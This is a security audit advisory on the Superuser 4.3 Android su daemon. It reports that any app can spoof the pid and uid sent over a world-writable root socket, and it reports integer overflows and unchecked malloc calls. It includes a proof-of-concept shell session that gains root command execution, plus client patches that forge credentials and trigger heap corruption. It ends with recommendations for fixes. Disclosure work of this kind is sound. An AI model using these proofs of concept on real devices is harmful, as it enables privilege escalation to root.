Superuser 4.3 Audit Findings

superuser_findings.txt

Background
==========
In order to deal with the changes in Android 4.3, Koush modified his Superuser
application to use a daemon similar to Chainfire's SuperSU. In addition to being
part of the CyanogenMod Android distribution, Superuser is also available as an
App for other modern Android devices.

The Superuser daemon exposes a UNIX socket in /dev as:

/dev/com.koushikdutta.superuser.daemon/server

The permissions on this socket are 777. This isn't necessarily required since it
could be set to allow only the Superuser app to access it. A more prudent setup
could be mode 660 with user of the Superuser app and group of shell. Forgive me
if this isn't accurate, but this is simply my limited understand of how
Superuser works.

Since any app can connect directly to this socket, it presents an interesting
attack surface. The fact that the daemon on the other side runs with root
privileges makes it even more attractive.

So then, on to some implementation issues... These findings are based on the
current version of the 10.2 branch code.


Trust Issues
============
Inside the 'daemon_accept' function, the daemon reads several values from the
socket. The following code is from jni/su/daemon.c

141     int pid = read_int(fd);
142     LOGD("remote pid: %d", pid);
143     int atty = read_int(fd);
144     LOGD("remote atty: %d", atty);
145     daemon_from_uid = read_int(fd);
146     LOGD("remote uid: %d", daemon_from_uid);
147     daemon_from_pid = read_int(fd);
148     LOGD("remote req pid: %d", daemon_from_pid);

These values are completely controlled by an attacker and are not validated. As
such, any app can spoof these values, potentially granting themselves access
straight away. For example, purporting to be the 'shell' user would avoid the
usual prompting situation.

Fortunately, the current use of FIFOs prevents exploiting this trust
relationship. The daemon will block until something connects to the client end
of the FIFO. Combined with another bug that allowed opening the file (either as
the shell user or the root group), commands would be executed with root
privileges. The following scenario demonstrates this effect. The 'nobody' user
has previously been set to 'always deny' using the standard interface.

--
shell@mako:/data/local/tmp $ cat gogo.sh
su nobody /data/local/tmp/test1.sh &
sleep 1
# simulate the ability to open these three files (here as the shell user)
cat < /dev/com.koushikdutta.superuser.daemon/31337.stdout > /dev/com.koushikdutta.superuser.daemon/31337.stdin &
cat /dev/com.koushikdutta.superuser.daemon/31337.stderr &
sleep 1
ls -l lolz
shell@mako:/data/local/tmp $ cat test1.sh
/data/local/tmp/wtf -c 'touch /data/local/tmp/lolz'
shell@mako:/data/local/tmp $ ls -l lolz
lolz: No such file or directory
shell@mako:/data/local/tmp $ ls -l /dev/com.*/31337*
/dev/com.*/31337*: No such file or directory
1|shell@mako:/data/local/tmp $ sh gogo.sh
-rw-rw-rw- root     root            0 2013-08-09 17:57 lolz
shell@mako:/data/local/tmp $
--

NOTE: The test1.sh and test.sh scripts were created to work around issues in the
command line argument handling of the Suepruser 'su' binary.

The 'wtf' binary was compiled from the Superuser cm-10.2 branch source with the
following patch applied:

--
diff --git a/Superuser/jni/su/daemon.c b/Superuser/jni/su/daemon.c
index ca34e56..976ab27 100644
--- a/Superuser/jni/su/daemon.c
+++ b/Superuser/jni/su/daemon.c
@@ -389,9 +389,9 @@ int connect_daemon(int argc, char *argv[]) {
     }

     LOGD("connecting client %d", getpid());
-    write_int(socketfd, getpid());
-    write_int(socketfd, isatty(STDIN_FILENO));
-    write_int(socketfd, uid);
+    write_int(socketfd, 31337); // force the pid // getpid());
+    write_int(socketfd, 0); // force no tty // isatty(STDIN_FILENO));
+    write_int(socketfd, 2000); // for the uid // uid);
     write_int(socketfd, getppid());
     write_int(socketfd, argc);

@@ -403,6 +403,8 @@ int connect_daemon(int argc, char *argv[]) {
     // ack
     read_int(socketfd);

+    // won't be able to open these... don't worry about it =)
+#if 0
     int outfd = open(outfile, O_RDONLY);
     if (outfd <= 0) {
         PLOGE("outfd %s ", outfile);
@@ -422,6 +424,7 @@ int connect_daemon(int argc, char *argv[]) {
     pump_async(STDIN_FILENO, infd);
     pump_async(errfd, STDERR_FILENO);
     pump(outfd, STDOUT_FILENO);
+#endif

     int code = read_int(socketfd);
     LOGD("client exited %d", code);
--


Multiple Integer Overflow and Memory Corruption Issues
======================================================
The first issue depends on the 'read_int' function in jni/su/daemon.c

 45 static int read_int(int fd) {
 46     int val;
 47     int len = read(fd, &val, sizeof(int));
 48     if (len < sizeof(int)) {
 49         LOGE("unable to read int");
 50         exit(-1);
 51     }
 52     return val;
 53 }

Here, an integer value is read from the socket on line 47. Thankfully the check
on line 48 ensures that the entire quantity is read. As long as that is true,
the value read is returned to the caller. This function is not a problem in
itself, but consider the following in the 'read_string' function, also in
jni/su/daemon.c

 63 static char* read_string(int fd) {
 64     int len = read_int(fd);
 65     if (len > PATH_MAX) {
 66         LOGE("string too long");
 67         exit(-1);
 68     }
 69     char* val = malloc(sizeof(char) * (len + 1));
 70     val[len] = '\0';
 71     int amount = read(fd, val, len);
 72     if (amount != len) {
 73         LOGE("unable to read string");
 74         exit(-1);
 75     }
 76     return val;
 77 }

Here an integer is read from the socket using 'read_int' on line 64. Again, the
integer value is signed and completely controlled by an attacker. As such, a
negative value on will pass the check on line 65. This value is subsequently
used to allocate memory on line 69. There are two issues here.

First, if 'len' ends up being -1 (0xffffffff), adding one will cause the value
to wrap and become zero. This results in allocating a block of "zero" bytes of
memory. Then, the statement on line 70 will write a NUL byte to the -1 index of
the allocated array, leading to memory corruption. Further, the 'read' function
on line 71 will be called with a huge length value. Thankfully, the Linux kernel
rejects this and returns -1. Unfortunately, there is no error checking on this
'read' call either. In an odd twist of fate, the 'amount' and 'len' variables
are both -1 in this case and the function returns the zero byte buffer instead
of taking the failure path.

Second, the return value from 'malloc' is not checked for failure. If the
allocation fails, the statement on line 70 will lead to a crash writing an
invalid pointer. This may be exploitable since a NULL pointer along with an
arbitrary length may become an arbitrary pointer. Consider an attempt to
allocate 0xbfbfbfbf bytes. The allocation would fail and then a zero byte would
be written to the 0xbfbfbfbf address. Situations like this have been
successfully exploited in some circumstances, for example in [1].

The next issue relating to 'read_int' occurs in the 'daemon_accept' function in
jni/su/daemon.c

139 static int daemon_accept(int fd) {
...
149     int argc = read_int(fd);
150     LOGD("remote args: %d", argc);
151     char** argv = (char**)malloc(sizeof(char*) * (argc + 1));
152     argv[argc] = NULL;
153     int i;
154     for (i = 0; i < argc; i++) {
155         argv[i] = read_string(fd);
156     }

Here, the 'argc' value is read from the socket. Again, it is signed and
completely attacker controlled. On line 151, we have a similar situation to the
'read_string' issue. However, since the multiplicand is 'sizeof(char*)' we have a
traditional integer overflow problem. Values of 'argc' that are between
0x3fffffff and 0xffffffff will result in an undersized allocation.

 (0x3fffffff + 1) * 4 = 0x40000000 * 4 = 0
 (0xffffffff + 1) * 4 = 0 * 4 = 0

Similar to the 'read_string' function, line 152 will attempt to write a zero
value to the end of the array. The difference here is that a 32-bit zero
quantity is written instead of a zero byte. When an integer overflow occurs,
this results in undefined behavior, likely manifesting as memory corruption.
Again, the return value from 'malloc' is not checked, which could lead to
writing a 32-bit zero value to an arbitrary address [1]. 

The loop following on line 154 reads strings into the newly allocated 'argv'
array. When an integer overflow occurs, undefined behavior results and manifests
in memory corruption. Here the addresses of strings allocated by 'read_string'
are stored into memory beyond the bounds of the array.

The following patches, when applied to Superuser cm-10.2, trigger undefined
behavior in the Superuser su daemon.

The first patch triggers the integer overflow when allocating memory in
'read_string'. Passing a string that begins with '0x' as the first arg will
traverse the trigger code. The corresponding value will be passed as the string
length and a megabyte of 'A' characters will be sent after. Certain values will
cause the allocation to fail. Of those, ones that correspond to a writable
address (notably the stack) will cause memory corruption during string
termination. Those that are not writable (ie 0xffffff00) will cause a process
crash.

--
diff --git a/Superuser/jni/su/daemon.c b/Superuser/jni/su/daemon.c
index ca34e56..d0bd3eb 100644
--- a/Superuser/jni/su/daemon.c
+++ b/Superuser/jni/su/daemon.c
@@ -78,6 +78,16 @@ static char* read_string(int fd) {

 static void write_string(int fd, char* val) {
     int len = strlen(val);
+    if (len > 3 && strncmp(val, "0x", 2) == 0) {
+        int num = strtoul(val, NULL, 0);
+        char buf[1024*1024];
+
+        write_int(fd, num);
+        memset(buf, 'A', sizeof(buf));
+        write(fd, buf, sizeof(buf));
+        return;
+    }
+
     write_int(fd, len);
     int written = write(fd, val, len);
     if (written != len) {
--

The second patch triggers the integer overflow when allocating the
'argv' array. Simply pass the first arg as 0x3fffffff or greater. Certain values
will cause the allocation to fail and the array termination to cause memory
corruption or process crash.

--
diff --git a/Superuser/jni/su/daemon.c b/Superuser/jni/su/daemon.c
index ca34e56..4b0f507 100644
--- a/Superuser/jni/su/daemon.c
+++ b/Superuser/jni/su/daemon.c
@@ -393,11 +393,14 @@ int connect_daemon(int argc, char *argv[]) {
     write_int(socketfd, isatty(STDIN_FILENO));
     write_int(socketfd, uid);
     write_int(socketfd, getppid());
-    write_int(socketfd, argc);
+    //write_int(socketfd, argc);
+    sleep(5);
+    int my_argc = strtoul(argv[1], NULL, 0);
+    write_int(socketfd, my_argc); // cause intof when allocating vector (0x40000000 and above)

     int i;
-    for (i = 0; i < argc; i++) {
-        write_string(socketfd, argv[i]);
+    for (i = 0; i < my_argc; i++) { // write a ton of AAAA strings...
+        write_string(socketfd, "AAAA"); // argv[i]);
     }

     // ack
--

NOTE: Although Superuser will appear to hang, heap memory is being corrupted.
Once the allocation fails, the process will crash.


Recommendations
===============
1. Always validate the return value from 'malloc'
2. Always validate arithmetic operations will not overflow (especially when allocating memory)
3. Use facilities provided by the kernel (ie. SO_PEERCRED) to validate credentials passed via IPC.


References
==========
1. http://www.cs.utexas.edu/~shmat/courses/cs6431/dowd.pdf